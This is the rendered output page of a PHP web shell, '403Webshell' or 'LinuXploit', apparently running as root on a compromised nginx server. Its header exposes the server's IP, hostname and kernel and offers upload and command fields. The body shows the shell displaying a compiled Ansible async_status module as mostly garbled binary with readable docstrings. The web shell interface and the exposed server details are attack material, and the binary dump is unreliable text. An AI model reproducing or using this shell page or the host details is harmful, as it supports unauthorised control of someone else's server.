403Webshell
Server IP : 157.22.201.140  /  Your IP : 216.73.216.74
Web Server : nginx/1.30.1
System : Linux mit.vincode.fvds.ru 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/ansible/modules/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/ansible/modules/__pycache__/async_status.cpython-312.pyc
�

1<�e���|�ddlmZmZmZeZdZdZdZddl	Z	ddl
Z
ddlmZddl
mZddlmZd	�Zed
k(re�yy)�)�absolute_import�division�print_functiona_
---
module: async_status
short_description: Obtain status of asynchronous task
description:
- This module gets the status of an asynchronous task.
- This module is also supported for Windows targets.
version_added: "0.5"
options:
  jid:
    description:
    - Job or task identifier
    type: str
    required: true
  mode:
    description:
    - If V(status), obtain the status.
    - If V(cleanup), clean up the async job cache (by default in C(~/.ansible_async/)) for the specified job O(jid), without waiting for it to finish.
    type: str
    choices: [ cleanup, status ]
    default: status
extends_documentation_fragment:
- action_common_attributes
- action_common_attributes.flow
attributes:
    action:
        support: full
    async:
        support: none
    check_mode:
        support: none
    diff_mode:
        support: none
    bypass_host_loop:
        support: none
    platform:
        support: full
        platforms: posix, windows
seealso:
- ref: playbooks_async
  description: Detailed information on how to use asynchronous actions and polling.
author:
- Ansible Core Team
- Michael DeHaan
a�
---
- name: Asynchronous yum task
  ansible.builtin.yum:
    name: docker-io
    state: present
  async: 1000
  poll: 0
  register: yum_sleeper

- name: Wait for asynchronous job to end
  ansible.builtin.async_status:
    jid: '{{ yum_sleeper.ansible_job_id }}'
  register: job_result
  until: job_result.finished
  retries: 100
  delay: 10

- name: Clean up async file
  ansible.builtin.async_status:
    jid: '{{ yum_sleeper.ansible_job_id }}'
    mode: cleanup
a�
ansible_job_id:
  description: The asynchronous job id
  returned: success
  type: str
  sample: '360874038559.4169'
finished:
  description: Whether the asynchronous job has finished (V(1)) or not (V(0))
  returned: always
  type: int
  sample: 1
started:
  description: Whether the asynchronous job has started (V(1)) or not (V(0))
  returned: always
  type: int
  sample: 1
stdout:
  description: Any output returned by async_wrapper
  returned: always
  type: str
stderr:
  description: Any errors returned by async_wrapper
  returned: always
  type: str
erased:
  description: Path to erased job file
  returned: when file is erased
  type: str
N)�
AnsibleModule)�	iteritems)�	to_nativec��tttdd��tddddg��tdd�����	�}|jd
}|jd}|jd}tjj||�}tjj
|�s|jd
|dd��|dk(r(tj|�|j||��d}	t|�5}tj|j��}ddd�d|vrd|d<||d<n	d|vrd|d<t|�D��cic]\}}t!|�|��}}}|jdi|��y#1swY�[xYw#t$r4|s|j||dd��n|j||d|zdd��Y��wxYwcc}}w)N�strT)�type�required�status�cleanup)r�default�choices�path)�jid�mode�
_async_dir)�
argument_specrrrzcould not find job�)�msg�ansible_job_id�started�finished)r�erasedr)�results_filerrrzCould not parse job output: %s)rrrrrrrr�)r�dict�params�osr�join�exists�	fail_json�unlink�	exit_json�open�json�loads�read�	Exceptionrr)	�modulerr�	async_dir�log_path�data�f�k�vs	         �>/usr/lib/python3/dist-packages/ansible/modules/async_status.py�mainr3vs���
���e�d�+�
�u�h��H�8M�
N��V�d�3�	*��F��=�=�� �D�
�-�-��
�C��
�
�l�+�I��w�w�|�|�I�s�+�H�
�7�7�>�>�(�#����1�#�q�[\��]��y��
�	�	�(������H��=��D�	a�
�(�^�	(�q��:�:�a�f�f�h�'�D�	(������Z��!$��
��	�4�	���Z��)2�$��8���1�I�a�L�!�O�8�D�8��F����t��'	(�	(���a�����(�3�PQ�\]��^����C�h�!A�D�!H�RS�^_�
�
a��a��9s0�.F�9$E7�F�G�7F�<F�:G�?G�__main__)�
__future__rrrr�
__metaclass__�
DOCUMENTATION�EXAMPLES�RETURNr'r �ansible.module_utils.basicr�ansible.module_utils.sixr�+ansible.module_utils.common.text.convertersrr3�__name__r�r2�<module>r?sT��A�@��
�,�
�\��0
��<�	�4�.�A�0�f�z���F�r>

Youez - 2016 - github.com/yon3zu
LinuXploit